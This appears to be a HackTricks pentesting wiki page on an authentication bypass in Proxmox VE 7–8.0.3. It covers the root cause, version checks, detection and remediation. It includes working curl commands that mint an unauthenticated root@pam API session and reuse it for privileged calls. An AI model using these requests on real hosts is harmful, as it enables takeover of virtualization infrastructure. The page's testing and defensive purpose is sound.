proxmox-ve.md (6824B)
1 --- 2 title: "Proxmox VE" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/proxmox-ve.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/proxmox-ve.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Proxmox VE 14 15 Proxmox VE exposes its HTTPS management interface and API through **`pveproxy`**, normally on TCP **8006**. Treat this as a high-value management plane: the ticket endpoint returns signed API sessions, and state-changing API calls also require the associated CSRF prevention token.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 ```bash 18 nmap -Pn -sV -p8006 <target> 19 curl -skI https://<target>:8006/ 20 ``` 21 22 ## TFA state confusion to a full API ticket 23 24 CVE-2023-54391 (PSA-2026-00043-1) affects `libpve-access-control >= 7.0-7 and < 8.0.4`. A client-controlled `tfa-challenge` parameter can place `POST /api2/json/access/ticket` directly into the second-factor path, so an unauthenticated request may obtain a full session as any enabled user without configured login TFA; default installations normally include `root@pam` in that set.<sup>[[1]](#references)[[2]](#references)</sup> 25 26 A minimal authorized test is one request; `password` can be arbitrary and `tfa-challenge` only needs to be non-empty.<sup>[[2]](#references)</sup> 27 28 ```bash 29 curl -sk -X POST 'https://<target>:8006/api2/json/access/ticket' \ 30 -H 'Content-Type: application/x-www-form-urlencoded' \ 31 --data 'username=root@pam&password=x&tfa-challenge=1' 32 ``` 33 34 A vulnerable host returns HTTP 200 with `data.username`, a signed `data.ticket`, `data.CSRFPreventionToken`, and the selected user's capability map. Patched versions reject the forged challenge with HTTP 401. The returned credential is a normal session rather than an intermediate TFA ticket, so it is immediately usable against privileged API operations.<sup>[[2]](#references)</sup> 35 36 ```bash 37 BASE='https://<target>:8006' 38 RESP="$(curl -sk -X POST "$BASE/api2/json/access/ticket" \ 39 --data 'username=root@pam&password=x&tfa-challenge=1')" 40 TICKET="$(jq -r '.data.ticket' <<<"$RESP")" 41 CSRF="$(jq -r '.data.CSRFPreventionToken' <<<"$RESP")" 42 43 # Read-only validation 44 curl -sk "$BASE/api2/json/nodes" -H "Cookie: PVEAuthCookie=$TICKET" 45 46 # State-changing calls additionally require the CSRF token 47 curl -sk -X POST "$BASE/api2/json/<privileged-endpoint>" \ 48 -H "Cookie: PVEAuthCookie=$TICKET" \ 49 -H "CSRFPreventionToken: $CSRF" 50 ``` 51 52 ### Root-cause chain 53 54 The reusable bug pattern is **client-selected authentication state plus fail-open null handling**. Trace every branch from the public endpoint to the point where a full session is minted; do not assume that reaching an “MFA response” handler proves completion of the password step. The vulnerable chain is:<sup>[[2]](#references)</sup> 55 56 1. Supplying `tfa-challenge` selects the second-factor branch and prevents execution from reaching the realm plugin's password validator. 57 2. For accounts without the legacy `keys` field, `user_get_tfa()` returns `undef` before loading the modern `priv/tfa.cfg` object. 58 3. `authenticate_2nd_new_do()` sees the undefined configuration and returns before `verify_ticket($tfa_challenge, 0, $username)` can validate the challenge signature and user binding. 59 4. The caller interprets the missing pending-TFA value as authentication complete and mints a full ticket for the attacker-selected identity. 60 61 This suggests several general code-review and black-box tests: force later authentication states without first completing earlier states; mutate signed challenge fields to empty, arbitrary, cross-user, expired, and replayed values; test accounts with absent, empty, disabled, migrated, and directory-synchronized MFA metadata; and verify that every null/error result fails closed before session creation.<sup>[[2]](#references)</sup> 62 63 ## Version verification 64 65 Check the installed package rather than inferring exposure only from the overall PVE release, because package and platform versions correlate loosely.<sup>[[1]](#references)</sup> 66 67 ```bash 68 dpkg-query -W -f '${Version}\n' libpve-access-control 69 # or 70 pveversion -v 71 ``` 72 73 The package, configuration, and network boundaries are:<sup>[[1]](#references)</sup> 74 75 - **Vulnerable:** `libpve-access-control >= 7.0-7 and < 8.0.4`. 76 - **Fixed:** `libpve-access-control >= 8.0.4`; supported PVE releases are not affected. 77 - **Configuration boundary:** users with any second factor configured for login do not take the vulnerable no-TFA path. 78 - **Reachability boundary:** exploitation requires access to TCP 8006 directly or through a reverse proxy. 79 80 ## Detection 81 82 Hunt in `pveproxy` access logs and syslog for `POST /api2/json/access/ticket` requests carrying `tfa-challenge`. Prioritize HTTP 200 ticket creation from unexpected sources, successful `root@pam` authentication without the expected preceding flow, and follow-on terminal, permissions, VM, storage, backup, migration, networking, or power-management API requests. On patched hosts, bursts of HTTP 401 responses to the same endpoint can indicate attempted exploitation, but normal failed logins and broken clients remain false positives.<sup>[[2]](#references)</sup> 83 84 ## Remediation 85 86 Upgrade to a supported release with `libpve-access-control >= 8.0.4`. For an affected EOL installation that cannot be upgraded immediately, Proxmox's stop-gap inserts challenge verification before the vulnerable second-factor branch; verify that the file contains three matching calls and then reload both services.<sup>[[1]](#references)</sup> 87 88 ```bash 89 sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm 90 91 grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l 92 systemctl reload-or-restart pvedaemon pveproxy 93 ``` 94 95 Reduce exposure independently of patching: restrict TCP 8006 to trusted administration networks. A localhost-only deployment can set `LISTEN_IP="127.0.0.1"` in `/etc/default/pveproxy`, restart `pveproxy`, and provide access through a VPN or SSH tunnel.<sup>[[1]](#references)[[2]](#references)</sup> 96 97 ## References 98 99 - [1] [Proxmox PSA-2026-00043-1 — Authentication bypass in EOL Proxmox VE 7 release](https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/post-867929) 100 - [2] [Nathan Xavier Golez — Proxmox VE 7.0–8.0.3 unauthenticated single-request root authentication bypass](https://blog.nathangolez.com/2026/08/proxmox-ve-7-08-0-3-unauthenticated-single-request-root-auth-bypass)